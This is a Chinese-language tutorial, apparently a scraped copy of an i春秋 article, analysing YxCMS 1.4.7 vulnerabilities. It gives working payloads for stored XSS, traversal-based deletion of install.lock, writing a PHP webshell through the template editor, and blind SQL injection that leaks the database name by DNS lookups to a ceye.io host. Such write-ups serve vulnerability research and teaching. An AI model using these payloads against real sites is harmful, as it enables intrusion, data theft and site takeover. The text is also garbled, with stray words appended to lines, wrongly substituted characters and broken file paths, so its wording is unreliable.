這幾天有小夥伴留言給咱們,想看一些關於後臺的漏洞分析,今天i春秋選擇YxCMS 1.4.7版本,理論內容結合實際案例進行深度分析,幫助你們提高挖洞技能。php
注:篇幅較長,閱讀用時約7分鐘。html
YXcms是基於PHP+MySql開發,採用CANPHP框架編寫的,是一款高效、靈活、實用、免費的企業建站系統,它的設計理念是用最少的代碼作更多的事情。python
安裝程序mysql
具體的安裝流程和使用說明能夠去官網查看:sql
https://www.kancloud.cn/yongheng/yxcmsshell
前臺XSS數據庫
一、漏洞復現數組
打開連接,輸入payload:app
<svg/onload=alert(1)>框架
而後登錄後臺,查看審覈。
點擊編輯
二、漏洞分析
前臺的文件源碼:
protected/apps/default/controller/columnController.php
public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('欄目名不能爲空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://圖集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://單頁
$this->page($sortinfo,$path,$deep);
break;
case 4://應用
break;
case 5://自定義
break;
case 6://表單
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的欄目類型~', 404);
break;
}
}
後臺的文件源碼:
protected/apps/admin/controller/extendfieldController.php
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您沒有權限管理此獨立表內容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('參數錯誤~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定義表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改爲功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失敗~');
}
}
中間沒什麼過濾,具體能夠看這篇文章:
https://www.hackersb.cn/hacker/85.html
任意文件刪除
一、漏洞復現
須要先登陸後臺,而後訪問以後會顯示縮略圖不存在:
Payload:
http://sb.com/index.php?r=admin/photo/delpic
POST:
picname=../../protected/apps/install/install.lock
而後訪問網站首頁就會自動轉到安裝的頁面
二、漏洞分析
漏洞文件:
protected/apps/admin/controller/photoController.php,在第355行的delpic( )函數,能夠看到$picname接收POST過來的值,而後$path等於文件開頭定義的靜態變量。
static protected $uploadpath='';//圖片上傳路徑
沒有對傳入的值進行任何的過濾,使用函數file_exists()判斷一下文件是否存在,unlink執行刪除操做。
public function delpic()
{
if(empty($_POST['picname'])) $this->error('參數錯誤~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '圖片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '縮略圖不存在~';return;}
echo '原圖以及縮略圖刪除成功~';
}
任意文件寫入
一、漏洞復現
打開頁面
打開咱們的文件監控軟件
FolderChangesView
輸入咱們的程序路徑
D:phpStudyPHPTutorialWWWYXcms
而後寫shell.php文件名,寫入咱們的代碼。
而後會在
protectedappsdefaultiewdefault下面生成咱們寫入的文件。
二、漏洞分析
漏洞文件
protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET傳過來的值,若是爲空的話就會報非法操做。傳過來的URL是admin/set/tpadd&Mname=default,因此$tpfile就是default。
再來下是檢測是否有POST的值,接受到POST過來的filename,用trim去掉兩邊的空格。接收到POST過來的code,用stripcslashes反轉義。
$filepath=$templepath.$filename.'.php'這一句是路徑和文件的拼接,而後下面檢測路徑是否存在。
最後沒有過濾任何的危險函數就傳給file_put_contents函數,寫入網站的目錄。
public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操做~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和內容不能爲空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路徑~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件建立失敗!');
}
$this->success('模板文件建立成功!',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}
SQL注入
一、漏洞復現
這個盲注能夠用ceye.io和python腳本跑。
payload:
1 and if((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1))--
點擊刪除
而後用Burp Suite截獲數據,修改內容加上咱們的payload,用原文的payload後面+會報錯。
而後進入http://ceye.io/records/dns,查看咱們的數據。
二、漏洞分析
查看漏洞文件:
protected/apps/admin/controller/fragmentController.php的第63行
public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您沒有選擇~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '刪除失敗~';
}else{
if(empty($_POST['delid'])) $this->error('您沒有選擇~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('刪除成功',url('fragment/index'));
}
}
咱們跟
if(model('fragment')->delete("id='$id'")),
它會先到protected/core.php文件裏面的model
function model($model){
static $objArray = array();
$className = $model . 'Model';
if( !is_object($objArray[$className]) ){
if( !class_exists($className) ) {
throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型類不存在');
}
$objArray[$className] = new $className();
}
return $objArray[$className];
}
而後到
protected/apps/admin/model/fragmentModel.php
<?php
class fragmentModel extends baseModel{
protected $table = 'fragment';
}
繼續
protected/base/model/baseModel.php
<?php
class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}
再來到最底層的數據庫操做類protected/base/model/model.php的第45行
public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}
這個delete()是從哪裏來的,咱們來看第十三行的代碼,建立了一個對象cpModel
static public function connect($config, $force=false){
static $model = NULL;
if( $force==true || empty($model) ){
$model = new cpModel($config);
}
return $model;
}
漏洞文件在
protected/include/core/cpModel.class.php
public function delete() {
$table = $this->options['table']; //當前表
$where = $this->_parseCondition(); //條件
if ( empty($where) ) return false; //刪除條件爲空時,則返回false,避免數據不當心被所有刪除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}
這裏用到了一個方法_parseCondition()
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
}
這個函數是在
protected/include/core/db/cpMysql.class.php的128行
public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}
裏面有一個行數來過濾escape,咱們找到74行的這個函數定義
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}
不過這個函數有一句is_array若是是數組纔會執行下面的過濾,若是不是的話就正常執行下去,沒有任何sql的過濾就形成了注入漏洞。
以上是今天的內容,你們看懂了嗎?